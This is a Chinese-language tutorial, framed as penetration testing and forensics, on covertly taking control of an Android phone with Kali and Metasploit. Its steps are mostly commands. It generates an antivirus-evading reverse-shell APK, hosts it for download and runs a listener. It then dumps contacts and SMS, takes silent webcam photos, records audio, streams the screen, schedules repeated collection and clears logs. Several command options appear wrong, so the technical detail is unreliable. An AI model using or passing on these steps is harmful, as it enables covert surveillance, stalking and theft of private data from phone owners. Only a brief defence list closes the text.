Kali渗透测试实战:远程操控安卓设备实现信息取证与监控

Kali渗透测试实战:远程操控安卓设备实现信息取证与监控

1. 环境准备与工具配置

在开始远程操控安卓设备之前,我们需要准备好必要的工具和环境。Kali Linux作为渗透测试的瑞士军刀,内置了丰富的工具链,其中Metasploit Framework是实现远程控制的核心工具。我建议使用最新版的Kali系统,虽然老版本也能运行,但新版本对硬件兼容性更好,特别是无线网卡驱动支持更完善。

首先确保你的Kali系统已经更新到最新状态。打开终端输入以下命令:

sudo apt update && sudo apt upgrade -y

接下来安装必要的依赖包。有些同学可能会忽略这一步,导致后续操作报错。我遇到过好几次因为缺少依赖而无法生成有效payload的情况:

sudo apt install apache2 metasploit-framework -y

关键点在于网络环境配置。你的Kali机器和目标安卓设备需要处于同一局域网内。我习惯使用USB无线网卡创建一个热点,这样既能隔离测试环境,又能确保网络稳定性。用ifconfig命令查看本机IP时,注意要记录wlan0接口的地址,而不是eth0的。曾经有次我搞混了接口,折腾半天才发现问题所在。

2. 生成定制化APK文件

制作安卓端payload是整个过程中最关键的环节。很多新手会直接复制网上的命令,但这样生成的APK很容易被杀毒软件拦截。经过多次测试,我发现通过以下参数组合可以显著提高免杀率:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -e x86/shikata_ga_nai -i 3 -k --platform android -a dalvik -o Test.apk

这里有几个实用技巧:

  1. 使用443端口而不是随机高位端口,因为企业防火墙通常允许443端口的出站流量
  2. 添加shikata编码(-e参数)并迭代3次(-i参数),能有效绕过基础特征检测
  3. -k参数会在原始APK外层添加一个保护壳

生成APK后,我习惯用apktool解包检查:

apktool d Test.apk

查看AndroidManifest.xml中的权限声明是否合理,特别是摄像头、位置等敏感权限需要正确声明。

3. 搭建简易分发服务器

把APK文件放到web服务器上时,有几点安全注意事项:

  1. 不要使用默认的/var/www/html路径,可以新建一个专用目录
  2. 修改文件权限为644,避免被篡改
  3. 最好配置HTTPS而不是HTTP,现代安卓系统会警告不安全的下载

这是我的标准操作流程:

sudo mkdir /var/www/apk_download sudo cp Test.apk /var/www/apk_download/ sudo chmod 644 /var/www/apk_download/Test.apk sudo systemctl start apache2

如果目标设备无法下载,可能是SELinux策略限制。这时候可以临时设置:

sudo setenforce 0

或者更安全的方法是添加新的策略规则。

4. 建立Meterpreter会话

配置监听器时最容易出错的就是payload类型和参数的匹配。我建议先完整执行以下步骤:

msfconsole use multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 443 set ExitOnSession false run -j

重要提示:在真实环境中,我通常会添加自动迁移进程的脚本,防止会话因为应用崩溃而断开。可以通过resource脚本实现:

cat > migration.rc <<EOF post/android/manage/migrate EOF msfconsole -r migration.rc

当会话建立后,先用sysinfo命令确认连接状态。我习惯先检查目标设备的安卓版本,因为不同版本的系统API差异很大。

5. 信息取证实战操作

获取通讯录是最常见的需求,但直接使用dump_contacts可能会漏掉某些特殊格式的联系人。我的标准流程是:

dump_contacts app_list dump_sms

对于地理位置信息,有几种获取方式:

  1. 通过geolocate命令获取粗略定位
  2. 使用wlan_geolocate通过WiFi热点定位
  3. 调用API直接获取GPS数据(需要设备开启定位服务)

拍照取证时要注意:

webcam_list webcam_snap -i 1 -v false

-v参数控制是否在目标设备显示预览,取证时建议设为false。遇到摄像头无法启动的情况,可能是权限问题,可以尝试先执行shell命令,然后手动授权。

6. 高级监控技巧

除了基础功能,Meterpreter还支持一些高级监控:

  1. 后台录音:
record_mic -d 60 -f /tmp/audio.mp3
  1. 屏幕截图:
screengrab
  1. 实时屏幕监控:
stream_screen -q 80

对于需要持续监控的场景,我建议设置自动脚本:

cat > auto.rc <<EOF screengrab -p /tmp/ss webcam_snap -p /tmp/cam dump_contacts -f /tmp/contacts.txt EOF

然后定时执行:

run -j -f auto.rc -t 300

每300秒自动执行一次信息收集。

7. 痕迹清理与防护建议

完成测试后,必须清理痕迹。我总结了一套完整的清理流程:

  1. 删除APK文件:
shell pm uninstall com.metasploit.stage
  1. 清除日志:
clearev
  1. 恢复系统设置:
shell settings put global adb_enabled 0

对于防御方,我建议采取以下防护措施:

  1. 禁用未知来源应用安装
  2. 定期检查设备管理员应用列表
  3. 监控异常网络连接
  4. 使用硬件级安全芯片的设备

在实际测试中,我发现Android 10以上版本由于Scoped Storage的限制,取证难度明显增加。这时候需要结合ADB调试等辅助手段,但那就需要物理接触设备了。